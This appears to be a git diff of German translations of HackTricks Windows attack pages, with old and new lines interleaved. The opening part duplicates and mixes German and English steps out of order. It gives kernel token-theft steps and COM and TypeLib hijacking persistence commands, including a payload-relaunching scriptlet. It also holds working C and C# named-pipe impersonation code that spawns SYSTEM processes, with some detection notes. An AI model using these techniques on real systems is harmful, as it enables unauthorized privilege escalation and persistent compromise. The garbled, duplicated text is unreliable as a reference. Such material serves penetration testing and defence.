3) Vom SYSTEM-EPROCESS aus, lies UniqueProcessId und ActiveProcessLinks-Offsets, um die doppelt verkettete Liste der EPROCESS-Strukturen (ActiveProcessLinks.Flink/Blink) zu traversieren, bis du das EPROCESS findest, dessen UniqueProcessId gleich GetCurrentProcessId() ist. Merke dir beide:
|
||||
- EPROCESS_SYSTEM (für SYSTEM)
|
||||
- EPROCESS_SELF (für den aktuellen Prozess)
|
||||
4) Lies den SYSTEM-Token-Wert: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
|
||||
- Maskiere die unteren 3 Bits heraus: Token_SYS_masked = Token_SYS & ~0xF (üblich ~0xF oder ~0x7 je nach Build; auf x64 werden die unteren 3 Bits verwendet — 0xFFFFFFFFFFFFFFF8 Maske).
|
||||
5) Option A (üblich): Bewahre die unteren 3 Bits von deinem aktuellen Token und splice sie auf den SYSTEM-Pointer, um die eingebettete Referenzzählung konsistent zu halten.
|
||||
1) Locate ntoskrnl.exe base and resolve the address of PsInitialSystemProcess.
|
||||
- From user mode, use NtQuerySystemInformation(SystemModuleInformation) or EnumDeviceDrivers to get loaded driver bases.
|
||||
- Add the offset of PsInitialSystemProcess (from symbols/reversing) to the kernel base to get its address.
|
||||
2) Read the pointer at PsInitialSystemProcess → this is a kernel pointer to SYSTEM’s EPROCESS.
|
||||
3) From SYSTEM EPROCESS, read UniqueProcessId and ActiveProcessLinks offsets to traverse the doubly linked list of EPROCESS structures (ActiveProcessLinks.Flink/Blink) until you find the EPROCESS whose UniqueProcessId equals GetCurrentProcessId(). Keep both:
|
||||
- EPROCESS_SYSTEM (for SYSTEM)
|
||||
- EPROCESS_SELF (for the current process)
|
||||
4) Read SYSTEM token value: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
|
||||
- Mask out the low 3 bits: Token_SYS_masked = Token_SYS & ~0xF (commonly ~0xF or ~0x7 depending on build; on x64 the low 3 bits are used — 0xFFFFFFFFFFFFFFF8 mask).
|
||||
5) Option A (common): Preserve the low 3 bits from your current token and splice them onto SYSTEM’s pointer to keep the embedded ref count consistent.
|
||||
- Token_ME = *(EPROCESS_SELF + TokenOffset)
|
||||
- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
|
||||
6) Schreibe Token_NEW zurück in (EPROCESS_SELF + TokenOffset) mit deinem kernel write-Primitive.
|
||||
7) Dein aktueller Prozess läuft jetzt als SYSTEM. Optional spawn eine neue cmd.exe oder powershell.exe zur Bestätigung.
|
||||
6) Write Token_NEW back into (EPROCESS_SELF + TokenOffset) using your kernel write primitive.
|
||||
7) Your current process is now SYSTEM. Optionally spawn a new cmd.exe or powershell.exe to confirm.
|
||||
|
||||
## Pseudocode
|
||||
|
||||
@ -106,14 +106,14 @@ return 0;
|
||||
}
|
||||
```
|
||||
Hinweise:
|
||||
- Offsets: Verwende WinDbg’s `dt nt!_EPROCESS` mit den Ziel‑PDBs oder einen Laufzeit-Symbol-Loader, um die korrekten Offsets zu erhalten. Nicht blind hardcoden.
|
||||
- Maske: Auf x64 ist das Token ein EX_FAST_REF; die unteren 3 Bits sind reference count bits. Die ursprünglichen unteren Bits deines Tokens beizubehalten vermeidet sofortige Refcount-Inkonsistenzen.
|
||||
- Stabilität: Bevorzuge die Erhöhung des aktuellen Prozesses; wenn du einen kurzlebigen Helper erhöhst, kannst du SYSTEM verlieren, wenn er beendet.
|
||||
- Offsets: Verwende WinDbg’s `dt nt!_EPROCESS` mit den PDBs des Ziels, oder einen runtime symbol loader, um korrekte Offsets zu erhalten. Hardcode nicht blind.
|
||||
- Maske: Auf x64 ist der token ein EX_FAST_REF; die unteren 3 Bits sind Referenzzählungs-Bits. Die ursprünglichen unteren Bits deines token beizubehalten vermeidet sofortige Refcount-Inkonsistenzen.
|
||||
- Stabilität: Bevorzuge, den aktuellen Prozess zu erhöhen; wenn du einen kurzlebigen Helfer erhöhst, kannst du SYSTEM verlieren, wenn er beendet wird.
|
||||
|
||||
## Erkennung & Gegenmaßnahmen
|
||||
- Das Laden unsignierter oder nicht vertrauenswürdiger Drittanbieter-Treiber, die mächtige IOCTLs bereitstellen, ist die Hauptursache.
|
||||
- Kernel Driver Blocklist (HVCI/CI), DeviceGuard und Attack Surface Reduction-Regeln können verhindern, dass verwundbare Treiber geladen werden.
|
||||
- EDR kann nach verdächtigen IOCTL-Sequenzen Ausschau halten, die arbitrary read/write implementieren, sowie nach Token-Swaps.
|
||||
- Das Laden nicht signierter oder nicht vertrauenswürdiger Drittanbieter‑Treiber, die mächtige IOCTLs bereitstellen, ist die eigentliche Ursache.
|
||||
- Kernel Driver Blocklist (HVCI/CI), DeviceGuard, und Attack Surface Reduction-Regeln können verhindern, dass verwundbare Treiber geladen werden.
|
||||
- EDR kann auf verdächtige IOCTL-Sequenzen achten, die arbitrary read/write implementieren, sowie auf token swaps.
|
||||
|
||||
## Referenzen
|
||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||
|
@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
### Suche nach nicht vorhandenen COM-Komponenten
|
||||
### Suche nach nicht existierenden COM-Komponenten
|
||||
|
||||
Da die Werte von HKCU vom Benutzer geändert werden können, kann **COM Hijacking** als **persistenter Mechanismus** genutzt werden. Mit `procmon` ist es einfach, nach COM-Registry-Einträgen zu suchen, die nicht existieren und die ein Angreifer zur Persistenz anlegen könnte. Filter:
|
||||
Da die Werte von HKCU von Benutzern geändert werden können, kann **COM Hijacking** als Mechanismus zur Persistenz verwendet werden. Mit `procmon` ist es einfach, nach COM-Registry-Einträgen zu suchen, die nicht existieren und die ein Angreifer erstellen könnte, um Persistenz zu erreichen. Filter:
|
||||
|
||||
- **RegOpenKey** Operationen.
|
||||
- wo der _Result_ **NAME NOT FOUND** ist.
|
||||
- **RegOpenKey**-Operationen.
|
||||
- wobei das _Result_ **NAME NOT FOUND** ist.
|
||||
- und der _Path_ mit **InprocServer32** endet.
|
||||
|
||||
Sobald Sie entschieden haben, welchen nicht vorhandenen COM Sie nachahmen wollen, führen Sie die folgenden Befehle aus. _Seien Sie vorsichtig, wenn Sie einen COM nachahmen, der alle paar Sekunden geladen wird, da das übertrieben sein könnte._
|
||||
Sobald Sie entschieden haben, welches nicht vorhandene COM Sie übernehmen möchten, führen Sie die folgenden Befehle aus. _Seien Sie vorsichtig, wenn Sie ein COM übernehmen, das alle paar Sekunden geladen wird, da das übertrieben sein könnte._
|
||||
```bash
|
||||
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
|
||||
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
|
||||
@ -18,7 +18,7 @@ New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F
|
||||
```
|
||||
### Übernehmbare Task Scheduler COM-Komponenten
|
||||
|
||||
Windows Tasks verwenden Custom Triggers, um COM-Objekte aufzurufen, und da sie über den Task Scheduler ausgeführt werden, ist es einfacher vorherzusagen, wann sie ausgelöst werden.
|
||||
Windows Tasks verwenden Custom Triggers, um COM objects aufzurufen, und da sie über den Task Scheduler ausgeführt werden, ist es einfacher vorherzusagen, wann sie ausgelöst werden.
|
||||
|
||||
<pre class="language-powershell"><code class="lang-powershell"># Show COM CLSIDs
|
||||
$Tasks = Get-ScheduledTask
|
||||
@ -49,9 +49,9 @@ Write-Host
|
||||
# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}
|
||||
# [more like the previous one...]</code></pre>
|
||||
|
||||
Anhand der Ausgabe kannst du beispielsweise einen auswählen, der **bei jeder Benutzeranmeldung** ausgeführt wird.
|
||||
Wenn du die Ausgabe prüfst, kannst du z. B. einen auswählen, der beispielsweise bei jeder Benutzeranmeldung ausgeführt wird.
|
||||
|
||||
Wenn du nun nach der CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** in **HKEY\CLASSES\ROOT\CLSID** und in HKLM und HKCU suchst, wirst du normalerweise feststellen, dass der Wert in HKCU nicht existiert.
|
||||
Wenn du nun die CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** in **HKEY\CLASSES\ROOT\CLSID** und in HKLM und HKCU suchst, wirst du normalerweise feststellen, dass der Wert in HKCU nicht existiert.
|
||||
```bash
|
||||
# Exists in HKCR\CLSID\
|
||||
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
|
||||
@ -72,32 +72,32 @@ Name Property
|
||||
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
|
||||
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
|
||||
```
|
||||
Dann kannst du einfach den HKCU-Eintrag erstellen und jedes Mal, wenn sich der Benutzer anmeldet, wird deine backdoor ausgeführt.
|
||||
Dann kannst du einfach den HKCU-Eintrag erstellen, und jedes Mal, wenn sich der Benutzer anmeldet, wird deine backdoor ausgelöst.
|
||||
|
||||
---
|
||||
|
||||
## COM TypeLib Hijacking (script: moniker persistence)
|
||||
|
||||
Type Libraries (TypeLib) definieren COM-Interfaces und werden über `LoadTypeLib()` geladen. Wenn ein COM-Server instanziiert wird, kann das OS auch die zugehörige TypeLib laden, indem es Registrierungs-Schlüssel unter `HKCR\TypeLib\{LIBID}` abfragt. Wird der TypeLib-Pfad durch einen **moniker** ersetzt, z. B. `script:C:\...\evil.sct`, führt Windows das Scriptlet aus, wenn die TypeLib aufgelöst wird – was eine stealthy persistence ergibt, die ausgelöst wird, wenn häufig genutzte Komponenten berührt werden.
|
||||
Type Libraries (TypeLib) definieren COM-Interfaces und werden via `LoadTypeLib()` geladen. Wenn ein COM-Server instanziiert wird, kann das OS die zugehörige TypeLib laden, indem es die Registrierungsschlüssel unter `HKCR\TypeLib\{LIBID}` abfragt. Wenn der TypeLib-Pfad durch einen **moniker** ersetzt wird, z. B. `script:C:\...\evil.sct`, führt Windows das scriptlet aus, wenn die TypeLib aufgelöst wird – was eine heimliche Persistenz erzeugt, die ausgelöst wird, wenn häufig verwendete Komponenten berührt werden.
|
||||
|
||||
Dies wurde beim Microsoft Web Browser control beobachtet (häufig geladen von Internet Explorer, Apps, die WebBrowser einbetten, und sogar `explorer.exe`).
|
||||
Dies wurde gegen das Microsoft Web Browser control beobachtet (häufig geladen von Internet Explorer, Apps, die WebBrowser einbetten, und sogar `explorer.exe`).
|
||||
|
||||
### Schritte (PowerShell)
|
||||
|
||||
1) Ermittle die TypeLib (LIBID), die von einer häufig genutzten CLSID verwendet wird. Beispiel-CLSID, die oft von malware chains missbraucht wird: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
|
||||
1) Identifiziere die TypeLib (LIBID), die von einem häufig genutzten CLSID verwendet wird. Beispiel-CLSID, das oft von malware chains missbraucht wird: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
|
||||
```powershell
|
||||
$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
|
||||
$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
|
||||
$ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
|
||||
"CLSID=$clsid LIBID=$libid VER=$ver"
|
||||
```
|
||||
2) Weise den pro-Benutzer TypeLib-Pfad auf ein lokales scriptlet mit dem `script:`-Moniker (keine Administratorrechte erforderlich):
|
||||
2) Weisen Sie den benutzerbezogenen TypeLib-Pfad auf ein lokales scriptlet mit dem Moniker `script:` (keine Administratorrechte erforderlich):
|
||||
```powershell
|
||||
$dest = 'C:\\ProgramData\\Udate_Srv.sct'
|
||||
New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
|
||||
Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
|
||||
```
|
||||
3) Legen Sie eine minimale JScript `.sct` ab, die Ihr primary payload neu startet (z. B. eine `.lnk`, die von der initial chain verwendet wird):
|
||||
3) Lege eine minimale JScript `.sct` ab, die dein primäres payload neu startet (z. B. eine `.lnk`, die von der initialen Chain verwendet wird):
|
||||
```xml
|
||||
<?xml version="1.0"?>
|
||||
<scriptlet>
|
||||
@ -114,7 +114,7 @@ sh.Run(cmd, 0, false);
|
||||
</script>
|
||||
</scriptlet>
|
||||
```
|
||||
4) Auslösen – Das Öffnen von IE, einer Anwendung, die die WebBrowser control einbettet, oder sogar routinemäßige Explorer-Aktivitäten laden die TypeLib und führen das scriptlet aus, wodurch deine Kette bei logon/reboot wieder scharf gemacht wird.
|
||||
4) Auslösen – Das Öffnen von IE, einer Anwendung, die das WebBrowser control einbettet, oder sogar routinemäßige Explorer-Aktivität wird die TypeLib laden und das scriptlet ausführen und so deine Kette bei logon/reboot erneut scharfstellen.
|
||||
|
||||
Bereinigung
|
||||
```powershell
|
||||
@ -124,8 +124,8 @@ Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$n
|
||||
Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
|
||||
```
|
||||
Hinweise
|
||||
- Sie können dieselbe Logik auf andere häufig verwendete COM-Komponenten anwenden; ermitteln Sie zuerst immer die tatsächliche `LIBID` aus `HKCR\CLSID\{CLSID}\TypeLib`.
|
||||
- Auf 64-bit-Systemen können Sie außerdem den Unterschlüssel `win64` für 64-bit-Consumer befüllen.
|
||||
- Sie können dieselbe Logik auf andere häufig verwendete COM-Komponenten anwenden; ermitteln Sie jedoch immer zuerst die tatsächliche `LIBID` aus `HKCR\CLSID\{CLSID}\TypeLib`.
|
||||
- Auf 64-Bit-Systemen können Sie außerdem den Unterschlüssel `win64` für 64-Bit-Clients befüllen.
|
||||
|
||||
## Quellen
|
||||
|
||||
|
@ -2,27 +2,27 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Named Pipe client impersonation ist eine lokale Privilege-Escalation-Primitive, die einem named-pipe-Server-Thread erlaubt, den Sicherheitskontext eines Clients zu übernehmen, der sich mit ihm verbindet. In der Praxis kann ein Angreifer, der Code mit SeImpersonatePrivilege ausführen kann, einen privilegierten Client (z. B. einen SYSTEM-Service) dazu zwingen, sich mit einer vom Angreifer kontrollierten Pipe zu verbinden, ImpersonateNamedPipeClient aufzurufen, das so erhaltene Token in ein primary token zu duplizieren und einen Prozess als der Client zu starten (oft NT AUTHORITY\SYSTEM).
|
||||
Named Pipe client impersonation ist ein lokaler Mechanismus zur Privilegieneskalation, der einem named-pipe Server-Thread erlaubt, den Sicherheitskontext eines Clients zu übernehmen, der sich mit ihm verbindet. In der Praxis kann ein Angreifer, der Code mit SeImpersonatePrivilege ausführen kann, einen privilegierten Client (z. B. einen SYSTEM-Dienst) dazu bringen, sich mit einer vom Angreifer kontrollierten Pipe zu verbinden, ImpersonateNamedPipeClient aufzurufen, das resultierende Token in ein Primary-Token zu duplizieren und einen Prozess als der Client zu starten (häufig NT AUTHORITY\SYSTEM).
|
||||
|
||||
Diese Seite konzentriert sich auf die Kerntechnik. Für End-to-End-Exploitketten, die SYSTEM dazu bringen, sich mit deiner Pipe zu verbinden, siehe die Potato family pages weiter unten.
|
||||
Diese Seite konzentriert sich auf die Kerntechnik. Für vollständige Exploit-Ketten, die SYSTEM dazu bringen, sich mit Ihrer Pipe zu verbinden, siehe die Seiten zur Potato-Familie weiter unten.
|
||||
|
||||
## TL;DR
|
||||
## Kurzfassung
|
||||
- Erstelle eine named pipe: \\.\pipe\<random> und warte auf eine Verbindung.
|
||||
- Veranlasse eine privilegierte Komponente, sich damit zu verbinden (spooler/DCOM/EFSRPC/etc.).
|
||||
- Lese mindestens eine Nachricht von der Pipe, rufe dann ImpersonateNamedPipeClient auf.
|
||||
- Lese mindestens eine Nachricht aus der Pipe, rufe dann ImpersonateNamedPipeClient auf.
|
||||
- Öffne das Impersonation-Token des aktuellen Threads, DuplicateTokenEx(TokenPrimary) und CreateProcessWithTokenW/CreateProcessAsUser, um einen SYSTEM-Prozess zu erhalten.
|
||||
|
||||
## Requirements and key APIs
|
||||
## Anforderungen und wichtige APIs
|
||||
- Typischerweise vom aufrufenden Prozess/Thread benötigte Privilegien:
|
||||
- SeImpersonatePrivilege, um einen verbindenden Client erfolgreich zu impersonieren und CreateProcessWithTokenW zu verwenden.
|
||||
- Alternativ kannst du nach dem Impersonieren von SYSTEM CreateProcessAsUser verwenden, was SeAssignPrimaryTokenPrivilege und SeIncreaseQuotaPrivilege erfordern kann (diese sind erfüllt, wenn du SYSTEM impersonierst).
|
||||
- Verwendete Kern-APIs:
|
||||
- SeImpersonatePrivilege, um erfolgreich einen verbindenden Client zu impersonieren und CreateProcessWithTokenW zu verwenden.
|
||||
- Alternativ kann man nach dem Impersonieren von SYSTEM CreateProcessAsUser verwenden, was SeAssignPrimaryTokenPrivilege und SeIncreaseQuotaPrivilege erfordern kann (diese sind erfüllt, wenn Sie SYSTEM impersonieren).
|
||||
- Wichtige verwendete APIs:
|
||||
- CreateNamedPipe / ConnectNamedPipe
|
||||
- ReadFile/WriteFile (du musst mindestens eine Nachricht lesen, bevor du impersonierst)
|
||||
- ReadFile/WriteFile (es muss mindestens eine Nachricht vor der Impersonation gelesen werden)
|
||||
- ImpersonateNamedPipeClient und RevertToSelf
|
||||
- OpenThreadToken, DuplicateTokenEx(TokenPrimary)
|
||||
- CreateProcessWithTokenW oder CreateProcessAsUser
|
||||
- Impersonation-Level: Um lokal nützliche Aktionen auszuführen, muss der Client SecurityImpersonation erlauben (Standard für viele lokale RPC-/named-pipe-Clients). Clients können dieses mit SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION beim Öffnen der Pipe herabsetzen.
|
||||
- CreateProcessWithTokenW or CreateProcessAsUser
|
||||
- Impersonation-Level: Um lokal nützliche Aktionen durchzuführen, muss der Client SecurityImpersonation erlauben (Standard für viele lokale RPC-/named-pipe-Clients). Clients können dieses mit SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION beim Öffnen der Pipe herabsetzen.
|
||||
|
||||
## Minimaler Win32-Workflow (C)
|
||||
```c
|
||||
@ -68,12 +68,12 @@ RevertToSelf(); // Restore original context
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Notes:
|
||||
- Falls ImpersonateNamedPipeClient ERROR_CANNOT_IMPERSONATE (1368) zurückgibt, stellen Sie sicher, dass Sie zuerst von der Pipe lesen und dass der Client die Impersonation nicht auf Identification level beschränkt hat.
|
||||
- Verwenden Sie vorzugsweise DuplicateTokenEx mit SecurityImpersonation und TokenPrimary, um ein Primary-Token zu erstellen, das für die Erstellung eines Prozesses geeignet ist.
|
||||
Hinweise:
|
||||
- Falls ImpersonateNamedPipeClient ERROR_CANNOT_IMPERSONATE (1368) zurückgibt, stelle sicher, dass du zuerst aus der Pipe liest und dass der Client die Impersonation nicht auf Identification level beschränkt hat.
|
||||
- Verwende vorzugsweise DuplicateTokenEx mit SecurityImpersonation und TokenPrimary, um ein primäres Token zu erstellen, das für die Prozess-Erstellung geeignet ist.
|
||||
|
||||
## .NET Schnellbeispiel
|
||||
In .NET kann NamedPipeServerStream über RunAsClient impersonate. Sobald eine Impersonation vorliegt, duplizieren Sie das Thread-Token und erstellen Sie einen Prozess.
|
||||
## .NET schnelles Beispiel
|
||||
In .NET kann NamedPipeServerStream über RunAsClient impersonieren. Sobald die Impersonation aktiv ist, dupliziere das Thread-Token und erstelle einen Prozess.
|
||||
```csharp
|
||||
using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics;
|
||||
class P {
|
||||
@ -93,13 +93,13 @@ Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref
|
||||
}
|
||||
}
|
||||
```
|
||||
## Gängige Trigger/erzwungene Verbindungen, um SYSTEM auf Ihre named pipe zu bekommen
|
||||
These techniques coerce privileged services to connect to your named pipe so you can impersonate them:
|
||||
## Häufige Auslöser/Zwangsmethoden, damit SYSTEM sich mit Ihrer named pipe verbindet
|
||||
Diese Techniken zwingen privilegierte Dienste dazu, sich mit Ihrer named pipe zu verbinden, sodass Sie sie impersonate können:
|
||||
- Print Spooler RPC trigger (PrintSpoofer)
|
||||
- DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato)
|
||||
- DCOM Aktivierung/NTLM-Reflection-Varianten (RoguePotato/JuicyPotato[NG], GodPotato)
|
||||
- EFSRPC pipes (EfsPotato/SharpEfsPotato)
|
||||
|
||||
See detailed usage and compatibility here:
|
||||
Siehe detaillierte Nutzung und Kompatibilität hier:
|
||||
|
||||
-
|
||||
{{#ref}}
|
||||
@ -110,7 +110,7 @@ roguepotato-and-printspoofer.md
|
||||
juicypotato.md
|
||||
{{#endref}}
|
||||
|
||||
If you just need a full example of crafting the pipe and impersonating to spawn SYSTEM from a service trigger, see:
|
||||
Wenn Sie nur ein vollständiges Beispiel benötigen, wie man die named pipe erstellt und impersonating durchführt, um SYSTEM durch einen Service-Auslöser zu starten, siehe:
|
||||
|
||||
-
|
||||
{{#ref}}
|
||||
@ -118,19 +118,19 @@ from-high-integrity-to-system-with-name-pipes.md
|
||||
{{#endref}}
|
||||
|
||||
## Fehlerbehebung und Fallstricke
|
||||
- Sie müssen mindestens eine Nachricht von der pipe lesen, bevor Sie ImpersonateNamedPipeClient aufrufen; andernfalls erhalten Sie ERROR_CANNOT_IMPERSONATE (1368).
|
||||
- Wenn der Client mit SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION verbindet, kann der Server nicht vollständig impersonifizieren; prüfen Sie das Impersonation-Level des Tokens über GetTokenInformation(TokenImpersonationLevel).
|
||||
- CreateProcessWithTokenW erfordert SeImpersonatePrivilege beim Aufrufer. Wenn das mit ERROR_PRIVILEGE_NOT_HELD (1314) fehlschlägt, verwenden Sie CreateProcessAsUser, nachdem Sie bereits SYSTEM impersonifiziert haben.
|
||||
- Stellen Sie sicher, dass der Security Descriptor Ihrer pipe dem Zielservice das Verbinden erlaubt, wenn Sie diesen härten; standardmäßig sind pipes unter \\.\pipe gemäß der DACL des Servers zugänglich.
|
||||
- Sie müssen mindestens eine Nachricht aus der Pipe lesen, bevor Sie ImpersonateNamedPipeClient aufrufen; andernfalls erhalten Sie ERROR_CANNOT_IMPERSONATE (1368).
|
||||
- Wenn sich der Client mit SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION verbindet, kann der Server nicht vollständig impersonate; prüfen Sie die Impersonation-Stufe des Tokens mittels GetTokenInformation(TokenImpersonationLevel).
|
||||
- CreateProcessWithTokenW erfordert SeImpersonatePrivilege beim Aufrufer. Wenn das mit ERROR_PRIVILEGE_NOT_HELD (1314) fehlschlägt, verwenden Sie CreateProcessAsUser, nachdem Sie bereits SYSTEM impersoniert haben.
|
||||
- Stellen Sie sicher, dass der Security Descriptor Ihrer Pipe dem Zielservice das Verbinden erlaubt, wenn Sie ihn härten; standardmäßig sind Pipes unter \\.\pipe gemäß der DACL des Servers zugänglich.
|
||||
|
||||
## Erkennung und Härtung
|
||||
- Überwachen Sie die Erstellung und Verbindungen von named pipes. Sysmon Event IDs 17 (Pipe Created) und 18 (Pipe Connected) sind nützlich, um legitime Pipe-Namen als Referenz zu erfassen und ungewöhnliche, zufällig aussehende pipes zu erkennen, die Token-Manipulationsereignissen vorausgehen.
|
||||
- Achten Sie auf Abläufe: ein Prozess erstellt eine pipe, ein SYSTEM-Service verbindet sich, dann startet der erstellende Prozess ein Kind als SYSTEM.
|
||||
- Reduzieren Sie die Angriffsfläche, indem Sie SeImpersonatePrivilege von nicht notwendigen Service-Accounts entfernen und unnötige Service-Logons mit hohen Rechten vermeiden.
|
||||
- Defensive Entwicklung: Beim Verbinden zu nicht vertrauenswürdigen named pipes SECURITY_SQOS_PRESENT mit SECURITY_IDENTIFICATION angeben, um zu verhindern, dass Server den Client vollständig impersonifizieren, sofern nicht nötig.
|
||||
- Überwachen Sie die Erstellung und Verbindungen von named pipes. Sysmon Event IDs 17 (Pipe Created) und 18 (Pipe Connected) sind nützlich, um eine Basislinie legitimer Pipe-Namen zu erstellen und ungewöhnliche, zufällig aussehende Pipes zu erkennen, die Token-Manipulations-Ereignissen vorausgehen.
|
||||
- Achten Sie auf Sequenzen: ein Prozess erstellt eine Pipe, ein SYSTEM-Service verbindet sich, dann erzeugt der erstellende Prozess einen Kindprozess als SYSTEM.
|
||||
- Reduzieren Sie die Angriffsfläche, indem Sie SeImpersonatePrivilege von nicht notwendigen Servicekonten entfernen und unnötige Service-Logons mit hohen Rechten vermeiden.
|
||||
- Defensive Entwicklung: Wenn Sie sich mit nicht vertrauenswürdigen named pipes verbinden, geben Sie SECURITY_SQOS_PRESENT mit SECURITY_IDENTIFICATION an, um zu verhindern, dass Server den Client vollständig impersonieren, es sei denn, es ist notwendig.
|
||||
|
||||
## Referenzen
|
||||
- Windows: ImpersonateNamedPipeClient documentation (impersonation requirements and behavior). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient
|
||||
- Windows: ImpersonateNamedPipeClient-Dokumentation (Anforderungen und Verhalten der Impersonation). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient
|
||||
- ired.team: Windows named pipes privilege escalation (walkthrough and code examples). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -3,10 +3,10 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> **JuicyPotato funktioniert nicht** auf Windows Server 2019 und Windows 10 Build 1809 und neuer. Allerdings können [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** genutzt werden, um **die gleichen Privilegien auszunutzen und NT AUTHORITY\SYSTEM** Level-Zugriff zu erlangen. Dieser [Blogpost](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) geht detailliert auf das `PrintSpoofer`-Tool ein, das verwendet werden kann, um Impersonation-Privilegien auf Windows 10- und Server 2019-Hosts auszunutzen, wo JuicyPotato nicht mehr funktioniert.
|
||||
> **JuicyPotato doesn't work** auf Windows Server 2019 und Windows 10 Build 1809 und neuer. Allerdings können [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** verwendet werden, um dieselben Privilegien auszunutzen und Zugriff auf Ebene `NT AUTHORITY\SYSTEM` zu erlangen. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) geht ausführlich auf das `PrintSpoofer`-Tool ein, das verwendet werden kann, um Impersonation-Privilegien auf Windows-10- und Server-2019-Hosts auszunutzen, auf denen JuicyPotato nicht mehr funktioniert.
|
||||
|
||||
> [!TIP]
|
||||
> Eine moderne Alternative, die 2024–2025 häufig gepflegt wird, ist SigmaPotato (ein Fork von GodPotato), die in-memory/.NET Reflection verwendet und erweiterten OS-Support bietet. Siehe die kurze Nutzung unten und das Repo in den Referenzen.
|
||||
> Eine moderne Alternative, die 2024–2025 häufig gepflegt wird, ist SigmaPotato (ein Fork von GodPotato), das In-Memory-/ .NET-Reflection-Nutzung und erweiterten OS-Support hinzufügt. Siehe schnelle Nutzung unten und das Repo in References.
|
||||
|
||||
Related pages for background and manual techniques:
|
||||
|
||||
@ -22,9 +22,9 @@ from-high-integrity-to-system-with-name-pipes.md
|
||||
privilege-escalation-abusing-tokens.md
|
||||
{{#endref}}
|
||||
|
||||
## Voraussetzungen und häufige Stolperfallen
|
||||
## Requirements and common gotchas
|
||||
|
||||
Alle folgenden Techniken basieren darauf, einen zu Impersonation fähigen privilegierten Dienst aus einem Kontext zu missbrauchen, der eines der folgenden Privilegien besitzt:
|
||||
Alle folgenden Techniken beruhen darauf, einen impersonation-fähigen privilegierten Service aus einem Kontext auszunutzen, der eines der folgenden Privilegien besitzt:
|
||||
|
||||
- SeImpersonatePrivilege (am häufigsten) oder SeAssignPrimaryTokenPrivilege
|
||||
- Hohe Integrität ist nicht erforderlich, wenn das Token bereits SeImpersonatePrivilege besitzt (typisch für viele Service-Accounts wie IIS AppPool, MSSQL, etc.)
|
||||
@ -35,12 +35,12 @@ whoami /priv | findstr /i impersonate
|
||||
```
|
||||
Operational notes:
|
||||
|
||||
- PrintSpoofer needs the Print Spooler service running and reachable over the local RPC endpoint (spoolss). In hardened environments where Spooler is disabled post-PrintNightmare, prefer RoguePotato/GodPotato/DCOMPotato/EfsPotato.
|
||||
